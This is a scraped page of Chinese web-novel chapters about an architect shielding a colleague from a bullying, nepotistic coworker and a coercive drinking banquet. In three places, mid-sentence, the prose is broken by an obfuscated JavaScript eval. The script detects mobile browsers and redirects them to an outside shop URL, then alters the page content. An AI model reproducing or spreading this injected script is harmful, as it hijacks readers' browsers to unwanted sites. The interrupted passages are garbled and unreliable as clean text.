从她到公司开始,直到下午一点多,她都没有见到丁似霰,并且这人也不回消息,但能看出来他肯定今天是来了公司的。 云安洛又一次把头探进丁似霰的办公室,看到的还是空荡荡的房间。 李开颜突然在后面拍了她一下,然后把她拽进办公室,关上了门。 李开颜说,丁似霰一早就被叫去了臧樾卓那里。 臧樾卓是设计部新来的关系户,他是祁利塞进来的人,好像是那边老总媳妇的表侄子。 他当初也参加了□□的设计竞稿,几乎所有人都以为这位祁利的旁系小侯爷会被内定——毕竟侯爷比太子差点,但至少应该胜于平头老百姓。 但当初投稿的人还是很多,因为臧樾卓是最后临近截止的时候才提交了竞稿。云安洛根本就没有关注过这种事情,她只管看要求画稿子。 结果啊,花落在了云安洛家里。 李开颜纠结了一小下,还是和云安洛说了同事间的传闻:“我们都在猜,他自从来这里,就在折腾老大……可能是因为你。” 听完这些,云安洛只能发出一声惊呼:“啊?” “嗯……心有不甘吧或许,”李开颜有些面露难色,“姐,你这几天没来公司,他也找不了你麻烦,可能听说了老大和你关系好,所以就成天找老大去他办公室吧,但老大说就是叫他去帮忙改稿,也没告诉我什么别的事。” “丁似霰这么听话?”云安洛打开手机锁屏,看了眼时间,“听话到午饭都不吃还待在那个屋里干活?” “老大这两天话特别少,我问他,他也就是敷衍过去。” 云安洛站起身,“我去看看。” 她刚走到门前,丁似霰便推了门进来。 两个人就在门口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908963|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,互相看着,愣了一会。 李开颜见此,留下一句“我还有事我先走了!”便溜之大吉,还贴心的关上了门。 一周不见,丁似霰看起来完全没有比之前好上一点,反倒憔悴了些。 丁似霰的声音有些哑,大概是这么久也没有喝水:“……你先,坐一下。” 他说完便缓缓走向办公桌,在抽屉里拿出不知拿了什么药咽了下去。 云安洛有些震惊:“完全好了?没发烧?在好好吃饭?不用吃药了?” 这都是他在微信里说过的话,简直比诈骗还胡说八道。 “……”他并没有解释什么,只是靠坐在椅子上,缓了片刻,才说道:“洛洛,最近没有什么事你就别过来了。” 云安洛下意识以为,丁似霰是说让她不要去他的办公室。 她一时语塞,不知道该骂人还是该继续问下去。 丁似霰见她迟迟没有反应,才忽然意识到自己说得不太清楚。 “我是说洋筑,这段时间也没什么问题,其实你不用过来的。” 难道她之前来这里是因为“有问题”吗?明明从最开始主要就是为了见丁似霰。 云安洛选择结束那个话题,并且回归到主要问题上,她问道:“那人为什么总把你叫过去?” “就是,帮他些忙。” “和我有没有关系?” “没有!”丁似霰略显慌乱的反应其实已经相当于告诉了云安洛答案。 云安洛走近了些,撑在丁似霰的桌子上,和他面对面,神情有些正式:“我不需要你以牺牲自己的方式为我做任何事。” “如果真是因为这个设计稿他有什么不满意的,你不用理他,这和你更没什么关系,他要是真有能耐就把我踢掉。” “没有,真的没有,就是他刚来,有些东西弄不好,我帮个忙,”丁似霰依旧坚定这个说法,“但毕竟多一事不如少一事,你能不和他有交集就省得麻烦。” “那为什么是最近?我不可能从此以后为了躲着他再也不来这里,短期内这个施工也不会结束,他应该也不会待上一两周就滚蛋吧?” 丁似霰没有想到,云安洛竟然敏锐到一个时间副词,他最后只想到了一个蹩脚的说法:“公子哥来体验生活镀金,应该不会太久。” “行吧,随你。”云安洛见他不愿说下去,也没了追问的兴趣。 云安洛不想去洋筑给自己找不痛快,不是因为臧樾卓,是她怕她脑子一热把丁似霰骂了。 丁似霰看起来是个随和的人,但骨子里和云安洛一样,也是头倔驴。 云安洛是在她在乎的事情上明面上倔,但丁似霰这头倔得让云安洛感觉莫名其妙。总之,云安洛清楚,她问不出来结果。 就像当年,他决定不和乔洛在一起一样,她无奈,却也无从下手。 反正录制还有一些琐碎的收尾工作,云安洛也算是听了他的话,并没有再去洋筑。 四天后,新区域的建设要开一个研讨会,云安洛才又来到公司。 丁似霰对她,有一种更奇怪的感觉,陌生又客气。 云安洛闻到丁似霰杯子里的咖啡味,问他:“疯了吧?就你那脆弱的胃还敢喝咖啡?” 丁似霰说:“还好。” 她问他中午要不要一起去吃饭,他说他中午有事。 她问他为什么不怎么回消息,他说太忙了有时候忘记看。 她说外面下雨了她没带伞,下班能不能蹭他的伞,他直接拿出了备用伞递给她,告诉她晚上有其他安排,不顺路。 不是,这男的又发什么疯? 前几天不还好好的吗? 72. 麻花 云安洛越想越堵气,第二天难得起早,本想抓着丁似霰问个清楚,结果又只堵到了一间空荡荡的办公室。 他竟然还没来。 又困又饿的云安洛,掉头就回到自己屋子里吃掉了早上买的饭团,然后趴在躺椅上一觉睡到午休。 不出所料,丁似霰又在臧樾卓的办公室。 云安洛把李开颜喊进屋子,打探情报。 丁似霰这么多天基本每天都是被叫去大半天,然后下午回自己办公室再做他的工作。 李开颜说起初还只能看出来丁似霰很累,但是这两天丁似霰不知道为什么,总是在愣神,问他在想什么,他只说困了。 云安洛想,可能她有必要去见一见臧樾卓。没准这人一直以来打的算盘就是用这种方法逼着云安洛去见他。 况且丁似霰把药落在办公室了,也算个好理由。 从云安洛敲开门,到与臧樾卓假惺惺客套,一切都很和谐,和谐到窝在矮桌旁的丁似霰几乎没有存在感——除了云安洛进门第一件事是把药塞进了他手里,但确实也没和他说任何话。 终于,结束了漫长的客套,云安洛把话题转回正轨:“臧先生,丁似霰又不搞设计,你如果有什么需要就找设计部的同事不是更好吗,何苦天天让他在这里耗着呢?” 其实也没有多漫长,只是和他交流的这五分多钟让云安洛感觉甚至有些恶心,原来电视剧里恶趣味藏都藏不住的反派在现实中真的存在。 “哦,丁工自己说可以帮我的,他居然没和你说吗?”臧樾卓仰靠在转椅上,语气充满戏谑。 丁似霰确实不负臧樾卓所望,紧忙说道:“洛洛……你先回去吧。” 云安洛看着他苍白的面色以及已经没什么血色的唇,很是无语。 但话已至此,她很难再说些什么。 “行,算我多管闲事,你自便,”云安洛象征性和臧樾卓道了别,“我先走了,臧先生,再见。” 他们两个之间肯定有什么事情,或者说,是有什么与云安洛有关的事情,并且能拿捏住丁似霰。 云安洛很想直接跟臧樾卓明面上开喷,工作以来她还没被这么恶心过。但很显然,她要是痛快了,很可能事情更糟糕。 她回到了自己的办公室,整个人砸在了椅子上。 丁似霰脑子里在想什么?有什么受虐倾向吗? 况且云安洛想不出来她自己有什么事是能被要挟的,更何况还能要挟到丁似霰。 她压根也没做过什么亏心事啊! 她打开手机,搜了一下颠茄片是治什么的。 胃痉挛……好恐怖的毛病。 云安洛龇牙咧嘴地看完了几个某乎上关于胃痉挛发作的感受记录,很难想出来那是什么感觉。 还有人说药吃多了会有抗药性,就连去医院打止疼针也有人没效果,硬抗啊…… 云安洛的手机铃响了起来,是一个没有备注的号码。 她接起了电话,还没等问对方是谁,电话那段就响起了一个又熟悉又讨厌的声音,是乔耀:“乔洛你到底回不回来看奶奶!” 云安洛这才想起来,就是丁似霰叫她没事别去公司的那个晚上,乔耀给她打过电话。他说乔家老太太在医院情况很不好,要云安洛赶紧去医院看一看奶奶。但云安洛扔下一句“滚”就挂断电话,并且把那个号码拉进了黑名单。 “不去,你换八百个号码给我打电话我也不去。” “奶奶都快死了你不得回来看看,一直都没照顾没尽孝……” “别放屁了,大家什么关系自己知道就行,没必要说这些冠冕堂皇的话恶心人,这些年按照赡养法该给的我都给了,我也早说过她那点遗产我半毛钱都不要,你不想出丧葬费就直接把老太太扔大野地烧了都和我没关系。” 因为怕麻烦,云安洛每个月都会给乔老太太转些钱,防止惹上没必要的官司,她也说过,如果非要完成每个月的陪伴,她也不是不可以遵守,只不过老太婆少活多少年她就不敢保证了。 云安洛本来就烦,如今就连和乔耀周旋的耐心都没有了:“别给我打电话了,小心我真生气了就回去和你争那点破遗产,谁都别想好过。” 说罢,她就挂了电话。 世界清净了。 乔耀的声音太吵了,和他妈那种尖利的声音一样听得人脑瓜仁疼。 看来老太婆是真要熬到头喽,以后每个月又省下一笔钱,还真是太让人期待了。 云安洛在转椅上仰着头慢慢转圈,享受着阳光照在身上的感觉。 唉,南菀的太阳,就算是冬天的太阳,照在身上也像火烤一样,确实也算不上是什么享受。 早起会让一天都很困倦。云安洛晒着太阳,迷迷糊糊又睡着了。 手机铃响了,又是一个新号码。 云安洛接通电话,不等对面发出声音,就先开了口:“我都说了别给我打电话,你是真以为我脾气很好是吗?别以为我不知道你在想什么,你妈死了你奶奶死了你就没钱了,但又关我屁事!” 电话那端沉默了片刻,“女……女士,你外卖到了……” 云安洛这才想起来,刚刚还是没忍住犯贱给丁似霰点了吃的:“啊……对,对不起哈……你你你……你放外卖柜里吧!” “那个,外卖柜满了,要不然您下来取一下?” “好的好的好的,我马上。” 云安洛慌张地下了楼,又手忙脚乱接过外卖给外卖员点了五星好评。 还未等云安洛重新回到电梯,她收到了今天第三个未知号码的来电显示。 云安洛有些生无可恋地走进楼梯间,接通了电话。 这次确实又是乔耀:“我有个东西你肯定想要,你回来我就给你。” “说。” “云姨出事的时候,路边有家商铺安了监控,我有原版录像。” 云安洛不知道乔耀说得是不是真话,但确实她后来打听到有家手机店安装了监控,只是当初他们说新安装的设备还没有开始用,所以并没有任何有用的东西。 无论是真是假,她必须得去回去看看。 “等着,后天我回去,”云安洛记得明天有大到暴雨,飞机大概率很难起飞,而高铁票早已经买不到了,她总不能买二十几个小时的无座绿皮火车。 “你要是敢和我说弄丢了或者是耍我,后果自负。” “好,那后天见,你把航班发我,我去机场接你。” “不用,我怕你想撞死我。”云安洛丝毫不想接受这个提议:“把你奶医院和病房号告诉我,我到门外你把录像给我,我就进去看她。” “她也是你的奶奶!” 云安洛并不想理会乔耀,直接挂断了电话。 真是破事一大堆。 …… 丁似霰回到办公室后,又立刻打开电脑在一张看起来已经十分繁杂的图上删删改改。 他脑子里依旧重复回放着两天前臧樾卓的话:“丁工这么在乎云安洛,是还不知道她仅仅把你当成一个消遣吧?” 臧樾卓给丁似霰看了一套云安洛的照片,和叶易的婚纱照,以及和叶易一家的全家福。 他从未听云安洛提起过。 但照片上,确实是她。 叶易的家里父母安在,不知是姥爷还是爷爷,坐在最中间,慈眉善目,一家人脸上都洋溢着幸福。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908964|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 叶易于云安洛而言,是朋友、学长,是同行者,也是半个引路人。他工作能力很强,长相端正,家庭美满,已经和云安洛在那条志同道合的路上走了许多年。 而丁似霰再想一想自己。 他除了那点和云安洛年少时的情谊,一无所有。 可云安洛不是臧樾卓所说的那种人。 她虽迟钝,却从未玩弄任何人的感情。 丁似霰摘下眼镜,揉了揉发酸的眼眶,枕着胳膊伏在了办公桌上。 无论是什么,都等过了明晚再说吧,先解决了臧樾卓这个麻烦,才是最重要的。 云安洛蹑手蹑脚推开丁似霰办公室的门时,看到那人趴在桌子上,似是睡着。 她悄悄把外卖放在桌子上,然后踮着脚尖,绕到办公桌后,向他走近了些。 某种意义上来讲,这个时候睡觉也算是上班摸鱼,自然不会睡得太沉。 丁似霰不知道是什么时候醒过来的,迷茫地睁开眼,看着她。 虽说云安洛也没想做什么,她就是莫名其妙想走近些看看他,但此时对上了丁似霰的目光还是略显尴尬。 他抬头时身子也动了一下,鼠标被胳膊微微地撞击,电脑屏保上那只仰着头微笑的大狗狗消失了,替之出现的是一张繁乱的管道施工图纸。 这屏保不是当初云安洛随手在大眼上发的图吗? 等会,这么努力干活的吗,他这才回来多久啊就又画上图了? 合着他是画图纸画困了,然后趴在桌子上睡着了。 丁似霰看了云安洛不到两秒,就又低下头。 她站在他身旁,根本看不见他的神情。 丁似霰根本没有他预设的那样洒脱。 他很想问。 可问什么呢?问她和叶易到哪步了?问她近来对他的态度难道只是……只是什么呢……他想不出来该用什么词语形容。 他也不敢问。 他甚至某一瞬间,在想。 哪怕她只是想和他玩玩,也不是不可以。 云安洛见此,直接一屁股坐在地下,然后小幅度旋转了一下丁似霰坐着的旋转椅,让他正对着她。 “地上凉。”丁似霰伸手想把她拽起来。 “别动,我今天就想坐地上。”因为这个位置,正好能看到丁似霰的脸。 虽然不理解,但丁似霰很听话,没有动。 也没有说话。 “麻花。”云安洛裹了裹身上的披肩,把自己包成了一个粽子——她总是感觉这样很有安全感。 “嗯?”显然旋转椅上的人没明白她在说什么。 “对,就是在喊你,”云安洛毫不掩饰地看着丁似霰,哪怕那人低着头,目光并没有聚焦在她身上,“最近天天看到我就耷拉个脑袋,是这几天我这张脸丑的不忍直视了还是你在cos向地葵?” “没有,”他微微抬起了一点头,看着云安洛,似乎是在证明不是她说的第一个原因,“你来……有事吗?” “我来看看我们大麻花什么时候拧好了下油锅,”云安洛直接开始抒发她的不解,“臧樾卓明显是在折腾你,从他来上班开始到今天,你自己数数你在他办公室里待了多久,他让你干的活跟给他喂奶有什么区别? 你再告诉告诉我你这几天为什么总躲着我,你到底拧巴什么呢?” 他,在拧巴什么? 好问题。 丁似霰很快又移开了他的目光,沉默着没有回答。 云安洛有一种一拳打在棉花上的感觉,这人不回答不解释,显得好像只有她在发脾气。 真的好想直接把他脑子撬开看看里面都装了什么浆糊! 73. 花生 有敲门的声音,很轻。 云安洛没有动,还是有些阴郁地盯着丁似霰。 没有人说话。 门外的人没得到回应,也没有继续敲。 她站起身,拍了拍屁股:“得,您就拧巴着吧,吭哧瘪肚三脚踹不出个屁的玩意。” 说罢,云安洛走出了办公室。 门外是李开颜。 云安洛出门的时候就看到他还在以扒门缝的姿势企图看看办公室内的情况。 “嗯?”云安洛没明白他要干什么,“你要进去吗?他在里面。” “姐,你和老大吵架了?”气氛不太对,李开颜能明显看出来云安洛现在表情并不明媚。 “我哪有和他吵架的能耐啊,他现在压根就不怎么和我说话。” “可能……可能是不太舒服,才不想说话的。”李开颜并没有进到丁似霰的办公室里,而是屁颠屁颠跟着云安洛走了。 他感觉,是时候捍卫一下老大的爱情了,虽然他也不懂丁似霰最近在做什么。 “不舒服就应该去休息,而不是天天在这拧巴,”云安洛推开自己办公室的门,直接栽在了旋转椅上,“他怎么了?” 李开颜熟门熟路地从门口拿了瓶饮料,然后坐到沙发上。 云安洛真的对他蛮好的,在办公室里备了不少他喜欢的零嘴和饮料。 当然,还有丁似霰的份,某种意义上来讲,李开颜纯属借光。 “刚才你是没看到,从臧樾卓办公室出来之后老大脸惨白惨白的,可吓人了。 我就在老大屋子里改图纸呢,他刚回来关上门,就站不住了,直接坐在地下把自己蜷起来。 然后又不让我碰他,过了好半天才缓过来。” “我不是给他把药拿进去了吗?” “不知道啊,可能吃多了多少有点抗药性?” 云安洛听得感觉自己两眼一黑,“他就作吧,什么时候把自己作死拉倒。” “姐,其实老大,人挺好的。” “我知道,我也没说他不好。但你没发现他最近一直绕着我吗?我问他为什么他也不说,那我能有什么办法。” 李开颜也不知道为什么,最近丁似霰确实很反常。 李开颜还记得云安洛刚刚确定要来洋筑的时候,丁似霰每天都笑呵呵的。而且好像准备了很久,要去机场接她,虽然说最后还是被工地突发情况叫走了。 云安洛这间办公室原来是闲置的,也就堆放一些杂物。可以说整间屋子都是丁似霰收拾出来的。 他前段时间简直是整个人都在紧张的亢奋状态中,工作做得飞快,有时间就跑去收拾云安洛的办公室,还买了两盆绿萝放在阳台上。 这些云安洛也都知道。 她长长叹了口气,算了吧,等周末从新柳回来再和丁似霰扯皮,她已经想好了,大不了就霸王硬上弓。 这个拧巴的麻花瓜她还真就要强拧下来啃一口,实在不行蘸炼乳吃也是甜的。 “你刚才找他是有工作?”云安洛问道。 “嘿嘿,我俩接了几个私活,但最近老大太忙了一直没做,周六就得交了,我是想跟老大说让他休息一下,我熬熬夜其实也能自己做完。 但其实我主要是想去看看他怎么样了。” “你为什么认他当老大?” “自从实习开始就是老大带我,他是真罩着我,有钱也带我一起赚。” “把他那部分发我吧,明天我不想来上班,在家做了算了。”云安洛本来也不用被洋筑的规定束缚,这些日子一直来上班非常单纯是因为想见丁似霰。 就像高中那样,因为某些人,所以对上学有了盼望。 如今又是因为他,对早起上班也没什么抵触,更是因为他,又不想来上班堵气了。 “啊?洛姐你还会做这个?”李开颜很震惊。 “额……会点,做你们这种常规的图还是没问题的。” “那我能告诉老大吗?”李开颜生怕网上刷到的狗血片段会应验在自己眼前。 “不用,我做完给他发过去,我看他还跟不跟我说话。” 云安洛再次见到臧樾卓,是晚些时候,在茶水间。 那时云安洛正在冲咖啡奶茶。 没办法,山猪吃不来细糠,闻了这么久的咖啡味道,她还是只喜欢植脂粉末勾兑的小甜水。 臧樾卓喊她“云工”。 按照这个说法,设计部那个龚大哥确实是,有点说道。 云安洛基本没有被人这样叫过,她反应一会后,才抬头看了眼臧樾卓,然后干笑一声,说了句“你好”。 她本准备转身就走,臧樾卓突然开口说道:“云工明晚一起来吃饭吗?” “吃饭?吃什么饭?”云安洛并不清楚臧樾卓的意图,只好坐在原位,一手慢慢搅着结团了的粉末一手翻看着手机上的机票。 该死的临期机票,真的很贵。 “看来丁工没和你说,明晚和祁利有场饭局,云工年纪轻轻就能力如此之强,祁利负责这个项目的经理想见一见你,所以,邀请你一起。” “哦,”云安洛摁下手机锁屏,站起身,“太遗憾了,明天我没时间。” “那,下次再约。” 臧樾卓看起来并没有任何越矩的行为,但不知为何,他就是让云安洛感到很不舒服。 可能是那种油腻的眼神和语气,是云安洛并没有接触过的:打趣,逗弄,看起来像是要把眼前人当做一场游戏里的棋子肆意摆弄。 以前对接的事情都是叶易在做,也没听他说过还得和建材公司吃饭啊。 一堆大男人在饭桌上喝酒吹牛互相捧,想想都恶心。南菀这里除了抽烟的,很多人还嚼槟榔,那味道更让人反胃,这种酒局,云安洛避之不及,怎么可能还自己过去。 丁似霰和李开颜接的私活的工作量,远比云安洛想象中的更多。 看来他确实在很努力地赚钱,也难怪这些年他能支撑起余美兰的疗养费,还买了车和房子,虽然都是二手的。 第二天,云安洛从中午起床随便吃了口东西后就一直窝在客厅的沙发上画图,直到晚上九点多才全部画完。 杨可期五点下了班,就在和云安洛打着视频电话,一个画图,一个写论文,两个工作中的牛马时不时骂几句街,气氛十分融洽。 “你怎么还想起来要帮丁似霰画图?”杨可期问道,“不是说最近他奇奇怪怪的,根本不咋理你吗?” “因为爱吧,等我处理完乔耀的,回来再收拾他,”云安洛提到这个就有些无语以及,咬牙切齿:“他要是敢再不理我,我就给他喂花生,剥好了一把一把喂!” “咦~他估计倒是能吃,但你能舍得?”杨可期并不相信云安洛的狠话:“自从认识他之后你可是连花生酱都几乎不碰了。” “那我不是怕芝麻酱和花生酱太像了,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908965|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个不注意把他吃死吗,”云安洛的豪言壮语没有任何气势:“我也就嘴上说着有点能耐,真拿他一点招没有。实在不行我就霸王硬上弓亲蒙他,我就不信了呢!” 天气预报上本应该在上午就降临的暴雨拖到夜晚才真正到来,云安洛合上电脑,端着平板去关窗户。 “嘶……真冷啊,”云安洛说道:“我有一种不祥的预感。” “不用预感,黄色预警已经发出来了,你那趟航班能起飞的概率很低。”杨可期也把论文保存好,合上电脑,看了看自己漂了的头发有没有均匀。 杨可期自己动手,准备染一头彩毛。她去好几家理发店问了,结果那些男理发师真的是只管自己想怎么做,根本不理杨可期的要求,完全无法沟通。所以,她决定自力更生。 云安洛很快收到了航班延误的短信,“太棒了,早上九点十分延到中午十二点半。” “那你就当睡个懒觉吧!” “大鹦鹉准备什么时候上色?等我回来之后我去帮你?” “下周一吧,明天去坐诊,我得把发尾藏起来,再夹着尾巴当一天人,”杨可期把平板立在一边,弯腰在水池里洗着头,“不过李开颜说他要试试,我答应了喊他来弄。” “谁?”云安洛有些难以置信,“你俩什么时候关系这么好了?” “李开颜啊,就加好友之后随便聊聊呗,小孩还挺好玩的。” “啧啧啧,也是聊上弟弟了,”云安洛打了一个大大的哈欠,“俺不中嘞,干这么长时间活困得要死,我要睡觉了,晚安。” “晚安晚安,你挂吧,我手湿!”杨可期还在给她已经白花花的发尾揉着去黄洗发水,完全没有多余的手拿出来点屏幕。 注意力长时间集中,又看了那么久乱七八糟的图,脑袋疼,云安洛现在只想借着褪黑素的力快些睡着。 或许是有些心烦,她掏出软糖褪黑素,一次性嚼了三粒,然后洗漱好,就钻进了被窝。 南菀的冬天确实很不舒服,室内和室外一样冷,暖风空调开着又闷得慌,所以在哪里都要穿得很厚,窝窝囊囊很难受。 窗外雨下得很大,多亏是冬天,已经不会打雷了,云安洛打开电热毯,在毛茸茸的被窝把自己缩一小团,很快便进入了梦乡。 因为实在是太困了,云安洛睡觉前甚至忘记把手机关成静音,一通电话在她刚睡了不到两个小时的时候搅醒了她的清梦。 云安洛迷迷糊糊睁开眼,看到来电显示,又看了眼时间,十一点二十三。 大半夜的,丁似霰你最好是有事……还是别有事了吧。 哪知接通后电话那头并没人说话。 就在云安洛以为是丁似霰打错了,想要挂断的时候,电话里突然传来一段逆呕的声音。 云安洛瞬间就清醒过来,裹着被子坐在床上对着手机喊道:“丁似霰?你怎么了?你在哪呢?” 无人回应,只有呕吐和轻微的喘息声。 “丁似霰!说话啊你!”云安洛并没有问今天晚上的酒局在哪家店,她也想到了无论丁似霰回不回她话,估计也不会说他在哪,于是便迅速拿起平板问李开颜。 大概云安洛声音不小,才引起丁似霰的注意。 他声音很小,听起来沙哑又虚弱:“我,我没事……咳咳,打错了……” “行吧,你永远没事。”云安洛说罢就挂断了电话。 一问总没事,见面就完蛋。 74. 回家 屋外,大雨一阵又一阵浣洗着整个南菀。 龙观川内,十几个人在酒桌上推杯换盏,不知有几人是真的想留在那里喝下一杯又一杯。 龙观川是南菀比较有名的饭店,很多生意酒局都选在这里,或许是因为这里的包间多且大。 但这里的欢声笑语,并不属于打工人。 数不清多少杯酒下肚,丁似霰只能感受到胃中的灼烧痛感。 臧樾卓笑嘻嘻给祁利负责这个项目的责任人王德全介绍着:“我们这个项目的主设计师那可是个很厉害的美女,在新柳的工作室就是和大帅哥合作的,来了南菀还有我们丁工照顾,老王你今天见不到她可真是太可惜了!” “是吗!你这样说我可更想见见这个主设计师长得怎么样了哈哈哈哈哈哈哈!”王德全脸上露出了满是戏谑的奸笑,举起酒杯和臧樾卓讨论着云安洛。 丁似霰在一旁默默攥紧酒杯,却发现他根本没办法忍得下这种话题继续下去。 这一整晚,臧樾卓都在灌丁似霰酒,以各种理由,并且话里话外说着他请不动云安洛。 很显然,这也是冲着丁似霰去的,但他做不到充耳不闻。 “王经理会有机会见到云安洛的,她作为主设计师自然会去工地里指导调整。毕竟云安洛是靠自己专业实力拿下的设计标和这么多同事以及近年来行业里的认可。况且那么多国家级的比赛,做不得假。” 丁似霰声音不大,但话语里的信息足够把臧樾卓暗藏的造谣抹杀。 臧樾卓拿起桌子上那刚开了封的白酒,走向丁似霰,“我确实是请不动这个大设计师,但丁工这么了解云安洛,想必和她很熟,何不叫她过来一起热闹一下,也好让王经理开开眼?” “设计师只管做好图稿就可以了,她也并不是洋筑的职员,自然不必来这种应酬。建材上如果有什么问题还请王经理和我们沟通,大家各司其职就好。” “丁工这么说倒显得我强人所难了,我罚一杯!”臧樾卓说着,给自己倒了一小杯酒,又拿了一个大上许多倍的杯子,倒满,“丁工陪一个吧,我自己喝太无趣了。” 丁似霰丝毫没有挣扎的欲望,接过酒杯,机械地大口吞咽杯中液体。 他酒量不差,喝了这么多也只是有些头晕。 但喝酒,确实伤胃,更何况他的胃本就不健康。 没过多久,丁似霰留下一句失陪就去了卫生间。 丁似霰看了眼手机,并没有得到想要的消息,又把手机放回口袋里。 他用力地摁住痉挛的胃,把刚刚喝下的酒吐得干干净净。 恍惚间,像是听到了云安洛的声音。 他摇摇头,怕是出现幻觉了,这里可是男厕所。 “丁似霰!说话啊你!”云安洛的声音再次传出,像是担心,又像是气急。 丁似霰这才发现是他误播了云安洛的电话。 他慌乱地抹净嘴角,深吸几口气,尽量把呼吸调到平稳,才拿起手机,“我,我没事……咳咳,打错了……” “行吧,你永远没事。”云安洛说完就挂断了电话。 丁似霰看着通话结束的界面,有些出神。 她生气了。 云安洛挂断得那么果断,显然是不想继续和丁似霰说些什么。 她该生气的,他什么都不说,任谁都会生气。 但她不该来这里,不该搅进这种酒局。 过去的那几年,叶易也没有让她参加过这种酒局。 “洛洛,过了今晚吧,先过了今晚。我再……和你说,好吗?”丁似霰对着已经黑了屏的手机喃喃自语。 丁似霰咽下最后两片药,随手把药盒扔进了垃圾桶。他用冷水洗了把脸,企图短暂地让自己维持清醒,然后便回到包房。 酒桌上的喧嚣还在继续,只是李开颜竟开始企图替丁似霰挡酒。 在李开颜第一次参加这种酒局的时候,丁似霰就和他说过,不要开头,不要开了这个喝酒的头。 丁似霰截下李开颜的酒杯,一饮而尽,“李开颜酒精过敏,这孩子喝了酒长疹子,我陪王经理就好。” 一屋子的人,都在陪着看那三个人的戏:臧樾卓和王德全灌丁似霰酒。 但无人想看,大家都只想赶紧结束这场荒谬且无意义的酒局,却也没有人敢离开。 李开颜在桌子下偷偷给云安洛发着消息: ——姐,我拦不住!你快来! 在李开颜那里要到地址后,云安洛立刻出门启动车子。临出门前,云安洛给李开颜留了条消息: ——麻烦你帮忙拦着让他少喝点,我马上过去。 她一路上都在限速的边缘踩着油门,好在这段时间阵雨停下来了,夜间路上也没什么车,二十几分钟后,云安洛就到达了龙观川。 云安洛在走廊里七拐八拐,一边找着包间一边碎碎念:“8208是吧,这破地方怎么乱七八糟的,二楼你八开头干什么?” 她打开门时,只听到臧樾卓说着:“这个可是好酒,丁工来走一个!” 云安洛快步走到丁似霰身边抢过酒杯,“什么酒啊,好到得别人陪才能喝?” 臧樾卓说道:“呀!老王!这就是我们的主设计师云安洛小姐!还是丁工有力度是不是,我邀请都不理我,还是丁工能把人叫来!” 与此同时,云安洛听到丁似霰轻轻唤了她一声。 结合这些天来丁似霰的表现以及云安洛目前的精神状态,她脾气很差,或者说她现在只是在一个边缘,一个气炸了的边缘。 她微微弯下腰,从牙缝里挤出了一句话:“丁似霰你最好把嘴闭上,我现在烦得很,一会咱俩再算账。” 余光中,云安洛瞥见了丁似霰的模样。他强撑着坐在这里,又像是做了错事的小孩,低着头紧张地捏紧拳头。 云安洛深吸一口气,她就不该低头,无论什么时候,看见丁似霰这个人她就立刻心软。 哪还有什么气炸了,气球已经漏气了。 她轻轻拍了拍丁似霰的肩膀,语气也软了下来:“你乖乖待一会,别管我做什么,我马上就带你回家。” 云安洛给自己倒了一大杯酒,走到王德全身边,“王经理,久仰。初次见面,这杯敬你。” 云安洛上一次参加这种酒局,还是大三的实习。 她确实不喜欢也不擅长处理这些奇怪的酒桌文化,但既然他们就是想让人喝酒,就是以灌别人酒为乐,那就喝呗,喝够了为止。 未等王德全说话,云安洛就把杯中的白酒一饮而尽。 云安洛站得有些累,索性一只脚踩在王德全身边的凳子上,把重心偏移了一些。她顺手拿起桌面上一瓶新的酒,开了瓶盖,直接用酒瓶与王德全碰杯:“再敬您一瓶。” 云安洛也未曾想过,她第一次吹瓶,竟然是四十多度的白酒。 云安洛放下酒瓶时,除了脸有些微红,根本看不出什么异样。王德全拍着手说着“好酒量”。 云安洛缓了一会,打了个酒嗝,然后问道:“臧先生、王经理,你们尽兴了吗,不够的话桌上剩下那瓶我也能喝。” 云安洛的眼神淡淡的,没有恐惧没有扭捏,甚至也看不太出来厌恶。王德全在对上云安洛眼神的一瞬间其实就失去了和她在一个屋子里待下去的兴致。 这双眸子里的神情太淡了,让人看不出来她想做些什么,或者说是,看起来很像是……操控不住的那种。 他喜欢的是那种上位者的征服玩弄的感觉,但在云安洛身上,他找不到快感。 “今天这样吧,也晚了,小卓,我先回去了,”王德全站起身,拢了拢他人模狗样的西装,“云小姐,再会。” 此时丁似霰的手机亮了一下,是许志的“OK”。 他松了一口气,便再也支撑不住,伏在桌边晕睡过去。 两个始作俑者离开后,酒局自然就散了。 云安洛对着房间里的人们深深鞠了一躬表示歉意,又每人发了两百块钱红包。 明眼人都看得出来今晚怎么回事,这不是一个正常的酒局。 云安洛和李开颜刚半扶半抱的把丁似霰扶上车,他便弯腰捂着嘴,一副想吐的样子。 云安洛连忙扯出一个塑料袋,嘴里还不忘念叨着:“你等会!吐我车上一回二百啊! 